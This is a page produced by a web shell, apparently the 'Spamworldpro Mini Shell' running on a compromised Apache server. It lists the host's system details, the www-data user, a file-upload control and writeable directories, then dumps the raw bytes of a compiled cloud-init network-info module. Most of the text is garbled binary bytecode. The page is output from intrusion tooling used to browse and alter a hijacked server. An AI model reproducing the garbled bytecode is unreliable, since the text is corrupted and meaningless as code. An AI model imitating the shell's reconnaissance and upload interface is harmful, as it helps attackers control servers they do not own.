Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/cloudinit/__pycache__/netinfo.cpython-310.pyc
o

}��f�_�@s"ddlZddlZddlZddlmZmZddlmZddlmZm	Z	m
Z
ddlmZm
Z
ddlmZddlmZe�e�Zggdd	d
�Zdd�Ze
jd
dd�dd��Zdd�Zdd�Z	d&deeeee
ee	eeefffffdd�Zdd�Zdd�Zdd�Zdd �Z d!d"�Z!d'd$d%�Z"dS)(�N)�copy�deepcopy)�IPv4Network)�Dict�List�Union)�subp�util)�net_prefix_to_ipv4_mask)�SimpleTable�F��ipv4�ipv6�hwaddr�upc	CsJt�|�}i}|D]�}d|vr|dng}|�d�dkr |dnd}|td|vo+d|v�ggd�}|�d	g�D]d}|�d
�dkrmd|vrPttd
|d���j�nd}|�dd�||�dd�|�dd�d�}	|d�|	�q7|d
dkr�|�dd�}
|
r�|�d�s�|
�d|�dd���}
|
|�dd�d�}	|d�|	�q7|||d<q	|S)a&Get network device dicts from ip route and ip link info.

    ipaddr_json: Output string from 'ip --json addr' command.

    Returns a dict of device info keyed by network device name containing
    device configuration values.

    Raises json.JSONDecodeError if json could not be decoded
    �flags�	link_type�ether�addressr�UP�LOWER_UP)rrrr�	addr_info�family�inet�	prefixlenz0.0.0.0/�local�	broadcast�scope)�ip�mask�bcastrr�inet6�/�@)r�scope6r�ifname)�json�loads�get�bool�strr�netmask�append)�ipaddr_json�ipaddr_data�devs�devrr�dev_info�addrr �parsed_addrr�r5�3/usr/lib/python3/dist-packages/cloudinit/netinfo.py�_netdev_info_iproute_json,sB

���


�
��r7z22.1zqRequired by old iproute2 versions that don't support ip json output. Consider upgrading to a more recent version.)�deprecated_version�
extra_messagecCs�i}d}t|���D]�\}}t�d|�}|r<|�d����d�d}|�d��d�}ggdtd	|vo5d
|v�d�||<q
d|vr\t�d
|�}|sPt�	d||�q
||d�
|���q
d|vr�t�d|�}|spt�	d||�q
|��}|�d�}|�
d�\}	}
}|s�d}||d�
|	|dr�|dndt|�|dd��q
d|vr�t�d|�}|s�t�	d||�q
|�d�dkr�|�d�||d<q
d||d<q
q
|S)z�
    @param ipaddr_out: Output string from 'ip addr show' command.

    @returns: A dict of device info keyed by network device name containing
              device configuration values.
    @raise: TypeError if ipaddr_out isn't a string.
    Nz.^\d+:\s(?P<dev>[^:]+):\s+<(?P<flags>\S+)>\s+.*r1�@rr�,rrrr
r"z?\s+inet6\s(?P<ip>\S+)(\s(peer\s\S+))?\sscope\s(?P<scope6>\S+).*z*Could not parse ip addr show: (line:%d) %srrzd\s+inet\s(?P<cidr4>\S+)(\smetric\s(?P<metric>\d+))?(\sbrd\s(?P<bcast>\S+))?\sscope\s(?P<scope>\S+).*�cidr4r#�32rr!r)rr!r r�linkz-\s+link/(?P<link_type>\S+)\s(?P<hwaddr>\S+).*rrr)�	enumerate�
splitlines�re�match�group�lower�splitr*�LOG�warningr-�	groupdict�pop�	partitionr
)�
ipaddr_outr0�dev_name�num�line�mrrBr<r3�_�prefixr5r5r6�_netdev_info_iproutebsv
�����
����rRc
Cspi}|��D�].}t|�dkrq|ddvr1|��d}|�d�r'|dd�}||vr1tt�||<|������}t|�dkrMt�	d|d�rMd||d<t
t|��D]�}||d	kru||d�d
�\}}||d�|t|�d��qS||d
kr�||d||ddd<qS||dkr�||d||d<qS||dkr�||ddkr�||d�d||di�qS||d�d||di�qS||dkr�||dddd
||d}|||ddd<qS||�
d��r||�d�||ddd<qS||dk�r4t�d||d�}	|	�r&|	�d�||ddd<qS||d||ddd<qSq|S)Nr��	� �:����zflags=[x\d]+<up.*>Trrr#r)rr rr!zaddress:rr"�addr:rr�r�scope:r%�scopeid�	.*<(\S+)>)r@�lenrE�endswithr�DEFAULT_NETDEV_INFOrD�striprA�search�ranger-r
�
startswith�lstriprBrC)
�
ifconfig_datar0rN�curdev�toks�i�network�net_bits�addr6�resr5r5r6�_netdev_info_ifconfig_netbsd�sR
�  $ ��rncCsi}|��D�]�}t|�dkrq|ddvr1|��d}|�d�r'|dd�}||vr1tt�||<|������}|ddkrFd||d<nt|�dkrZt�	d|d�rZd||d<t
t|��D�]&}||d	kr|||d
�d||d�d�i�q`||�
d
�r�||�d
�||d
dd<q`||dkr�||d||d
dd<q`||�
d�r�||�d�||d
dd<q`||dkr�||d||d
dd<q`||dks�||dkr�||d||d<q`||dk�r||ddk�r||d�d||di�q`||d�d||di�q`||dk�r?||dddd||d}|||ddd<q`||�
d��rW||�d�||ddd<q`||dk�r�t�d||d�}|�ry|�d�||ddd<q`||d||ddd<q`q|S)NrrSrVrWrTrXz
flags=\d+<up,rrrrYzbcast:r!rzmask:r r,rrr"rrZrr#r[r%r\r])r@r^rEr_rr`rDrarArbrcr-rerdrBrC)rfr0rNrgrhrirlrmr5r5r6�_netdev_info_ifconfig�s`
�    $ �� ro�returncs�i}t��rtjddgddgd�\}}t|�}nHt�d�rDzt�gd��\}}t|�}Wn3tjyCt�gd��\}}t|�}Ynwt�d�r[tjddgddgd�\}}t|�}nt	�
d	�|d
krf|Sttt
f�d��fdd
�	��||d�|S)afreturn the instance's interfaces and interface data

    includes, interface name, link state, hardware address, and lists of ipv4
    and ipv6 addresses

    example output:
    {
    'lo': {
        'up': True,
        'hwaddr': '',
        'ipv4': [
        {
            'bcast': '',
            'ip': '127.0.0.1',
            'mask': '255.0.0.0',
            'scope': 'host',
        }],
        'ipv6': [{'ip': '::1/128', 'scope6': 'host'}],
    },
    'lxdbr0': {
        'up': True
        'hwaddr': '00:16:3e:fa:84:30',
        'ipv4': [{
            'bcast': '',
            'ip': '10.161.80.1',
            'mask': '255.255.255.0',
            'scope': 'global',
        }],
        'ipv6': [
            {'ip': 'fd42:80e2:4695:1e96::1/64', 'scope6': 'global'},
            {'ip': 'fe80::216:3eff:fefa:8430/64', 'scope6': 'link'},
        ]
    },
    }

    �ifconfigz-arrX��rcsr)rz--jsonr3)rr3�showz>Could not print networks: missing 'ip' and 'ifconfig' commandsr�r�cslt|t�r
|��}nt|ttf�rt|�}ntd��|D]\}}||vr)|||<qt|��r3�||�qdS)zQRecursively replace 'empty_vals' in data (dict, tuple, list)
        with new_valzUnexpected input to fillN)�
isinstance�dict�items�tuple�listr?�	TypeError)�data�new_val�
empty_vals�myiter�key�val��fill�
recurse_typesr5r6r�`s





��znetdev_info.<locals>.fill)r~N)rru)r	�	is_NetBSDrrn�whichr7�ProcessExecutionErrorrRrorFrGrxrzr{)�emptyr0�	ifcfg_out�_errrKr5r�r6�netdev_infos0'

�

�
r�cCs�i}g|d<g|d<|��}ddddddd�}|D]�}t|�}|s"q|��}dg}|ddkr8d|d	<d|d
<n/d|dvrH|d�d�\}}	n|d}d}	|�d
�t|	�|d
<||d	<t|	�|d
<d|d<tt|��D]2}
||
dkr�||
d|d<|�dd�||
dkr�||
d|d<||
dkr�||
d|d<qmd�|�|d<|d�|�qzt	j	gd�ddgd�\}}Wnt	j
y�Y|Sw|��}
|
D]x}i}|s�q�|��}|ddkr�d|d	<d|d<n|d|d	<d|d<d|d<tt|��D]B}
||
dk�r||
d|d<d|d<||
dk�r"||
d|d<||
dk�r1||
d|d<||
dk�r@|dd|d<q�|d�|�q�|S)aP
    Get network route dicts from ip route info.

    @param iproute_data: Output string from ip route command.

    @returns: A dict containing ipv4 and ipv6 route entries as lists. Each
              item in the list is a route dictionary representing destination,
              gateway, flags, genmask and interface information.
    rrr)�destinationr�gateway�genmask�iface�metric�Ur�default�0.0.0.0r�r�r#r=�Hr��viarX�Gr1r�r�r)rz	--onelinez-6�router{�table�allrrz::/0�UG�::�expires�e)r@rrEr-r
rcr^�insert�joinrr�)�iproute_data�routes�entries�default_route_entryrN�entryrhrr3�cidrri�
iproute_data6�_err6�entries6r5r5r6�_netdev_route_info_iproutets��

���
�r�c	
Cs
i}g|d<g|d<|��}|D]j}|sq|��}t|�dks=|ddks=|ddks=|ddks=|ddks=|dd	kr>qt|�d
krX|�d�|�d�|d|d
<d|d<|d|d|d|d|d|d|d|d
d�}|d�|�qztjgd�ddgd�\}}Wntjy�Y|Sw|��}|D]f}|s�q�|��}t|�d
ks�|ddks�|ddks�|ddks�|ddks�|ddkr�q�|d|d|d|d|d|d|dd�}|ddkr�q�|d�d�r�t�dd|d�|d<|d�|�q�|S)Nrr�r�Kernel�Destination�Internet�	Internet6�Routing��-��rXrZ��)r�r�r�rr��ref�user�)�netstatz-Ar"�--route�	--numericrr�Proto�Active)r�r�rr�r�r�r�r��lor�z/128z\/128$r)	r@rEr^r-rr�r_rA�sub)	�
route_datar�r�rNrhr��route_data6r�r�r5r5r6�_netdev_route_info_netstat�s�	

�
�"��

�r�cCsji}t�d�rt�gd��\}}t|�}|St�d�r.tjgd�ddgd�\}}t|�}|St�d�|S)	Nr)rz-or�r{r�)r�r�r�z--extendrrXrrz;Could not print routes: missing 'ip' and 'netstat' commands)rr�r�r�rFrG)r��iproute_outr��	route_outr5r5r6�
route_info!s

�
���r�cCs�g}d}zt|d�}Wn"ty-}z|�t�djt|�d�dd��WYd}~n�d}~ww|s2dSgd�}t|�}t|�	��D]_\}}|�
d	�D]}|�||d
|d|d|�
d
|�|df�qI|�
d�D]}|�||d
|d||�
d|�|df�qht|�
d��t|�
d	��dkr�|�||d
||||df�q@|�
�}	tt|	��td��}
t�dd|
�}|�||	g�d�|�dS)N�.)r�z Net device info failed ({error})��error�!�P�
)�Device�Up�Address�Mask�Scopez
Hw-Addressrrrr rrrr%r�r�zNet device info�+)r��	Exceptionr-r	�center�formatr+r�sortedryr)�add_rowr^�
get_string�maxr@�extendr�)�linesr��netdevr��fields�tblr1r}r3�netdev_s�max_len�headerr5r5r6�netdev_pformat4sb����	
��

�� 
��r�c
Cs,g}zt�}Wn*ty1}z|�t�djt|�d�dd��t�td|�WYd}~n�d}~ww|�	d�r�gd�}t
|�}t|�	d��D];\}}t|�}z|�||d|�	d	d
�|d|d|d
g�WqFt
y�}zt�td|�WYd}~qFd}~ww|��}tt|��td��}	t�dd|	�}
|�|
|g�|�	d��rgd�}t
|�}t|�	d��D]?\}}t|�}|ddkr�q�z|�||d|�	d	d�|d|d
g�Wq�t
y�}zt�td|�WYd}~q�d}~ww|��}tt|��td��}	t�dd|	�}
|�|
|g�d�|�dS)NzRoute info failed ({error})r�r�r�zRoute info failed: %sr)�Router��Gateway�Genmask�	Interface�Flagsr�r�r�r�r�rzRoute info formatting error: %sr�zRoute IPv4 infor�r)r�r�r�r�r�r�r�zRoute IPv6 infor�)r�r�r-r	r�r�r+�logexcrFr)rr?r��KeyErrorr�r^r�r@r�r�)
r�r�r��	fields_v4�tbl_v4�n�r�route_id�route_sr�r��	fields_v6�tbl_v6r5r5r6�
route_pformathsx
����

��
��
��	��r��	ci-info: cCszg}t���}|r|D]}|�d||f�qn|�|�t���}|r3|D]}|�d||f�q&n|�|�d�|�S)Nz%s%sr�)r�r@r-r�r�r�)rQr��netdev_linesrN�route_linesr5r5r6�
debug_info�s
�

�

r�)r)r�)#r'�loggingrArr�	ipaddressr�typingrrr�	cloudinitrr	�cloudinit.net.network_stater
�cloudinit.simpletabler�	getLogger�__name__rFr`r7�deprecate_callrRrnror+r�r�r�r�r�r�r�r5r5r5r6�<module>s:

6�
N0:�&
�VXU4I

Spamworldpro Mini